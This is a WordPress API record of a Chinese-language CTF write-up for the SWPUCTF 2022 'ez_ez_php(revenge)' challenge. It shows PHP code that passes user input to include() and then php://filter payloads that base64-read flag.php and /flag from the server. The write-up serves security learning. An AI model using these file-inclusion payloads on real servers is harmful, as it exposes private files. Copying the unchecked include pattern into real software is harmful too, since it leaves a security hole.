{"id":2334,"date":"2025-04-07T18:09:29","date_gmt":"2025-04-07T10:09:29","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2334"},"modified":"2025-04-07T18:09:30","modified_gmt":"2025-04-07T10:09:30","slug":"swpuctf-2022-%e6%96%b0%e7%94%9f%e8%b5%9bez_ez_phprevenge","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/04\/07\/swpuctf-2022-%e6%96%b0%e7%94%9f%e8%b5%9bez_ez_phprevenge\/","title":{"rendered":"SWPUCTF 2022 \u65b0\u751f\u8d5bez_ez_php(revenge)"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250407175124.png\" alt=\"Pasted image 20250407175124.png\"><\/p>\n<h1>\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9<\/h1>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250407175143.png\" alt=\"Pasted image 20250407175143.png\"><\/p>\n<h1>\u4e8c\u3001\u5206\u6790\u4ee3\u7801<\/h1>\n<pre><code class=\"language-php\">&lt;?php  \nerror_reporting(0);  \nif\u00a0(isset($_GET['file']))\u00a0{  \n\u00a0\u00a0\u00a0\u00a0if\u00a0(\u00a0substr($_GET[&quot;file&quot;],\u00a00,\u00a03)\u00a0===\u00a0&quot;php&quot;\u00a0)\u00a0{  \n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0echo\u00a0&quot;Nice!!!&quot;;  \n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0include($_GET[&quot;file&quot;]);  \n\u00a0\u00a0\u00a0\u00a0}\u00a0  \n  \n\u00a0\u00a0\u00a0\u00a0else\u00a0{  \n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0echo\u00a0&quot;Hacker!!&quot;;  \n\u00a0\u00a0\u00a0\u00a0}  \n}else\u00a0{\u00a0\u00a0\u00a0\u00a0highlight_file(__FILE__);  \n}  \n\/\/flag.php\n<\/code><\/pre>\n<pre><code>substr($_GET[&quot;file&quot;],\u00a00,\u00a03)\u00a0===\u00a0&quot;php&quot;\n<\/code><\/pre>\n<p>\u8be5\u4ee3\u7801\u4f1a\u622a\u53d6\u8f93\u5165\u7684\u524d\u4e09\u4e2a\u662f\u5426\u662fphp\uff0c\u53ef\u4ee5\u60f3\u5230\u662fphp\u4f2a\u534f\u8bae<\/p>\n<h1>\u4e09\u3001\u4f7f\u7528php\u4f2a\u534f\u8bae<\/h1>\n<pre><code>file=php:\/\/filter\/read=convert.base64-encode\/resource=flag.php\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250407180036.png\" alt=\"Pasted image 20250407180036.png\"><\/p>\n<p>\u89e3\u7801\u540e\u53d1\u73b0flag\u4e0d\u5728\u8fd9\u91cc\uff0c\u5e76\u4e14\u51fa\u73b0\u63d0\u793a<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250407175926.png\" alt=\"Pasted image 20250407175926.png\"><\/p>\n<h1>\u56db\u3001\u8bfb\u53d6\/flag\u6587\u4ef6<\/h1>\n<pre><code>file=php:\/\/filter\/read=convert.base64-encode\/resource=\/flag\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250407180220.png\" alt=\"Pasted image 20250407180220.png\"><\/p>\n<p>\u6210\u529f\u83b7\u53d6flag<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250407180146.png\" alt=\"Pasted image 20250407180146.png\"><\/p>\n<h1>\u603b\u7ed3<\/h1>\n<ul>\n<li>php\u4f2a\u534f\u8bae<\/li>\n<li>filter\u4f2a\u534f\u8bae<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9 \u4e8c\u3001\u5206\u6790\u4ee3\u7801 &lt;?php error_reporting(0); if\u00a0(isset($_ [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[28,27],"class_list":["post-2334","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-php","tag-27"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2334","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2334"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2334\/revisions"}],"predecessor-version":[{"id":2335,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2334\/revisions\/2335"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2334"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2334"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2334"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}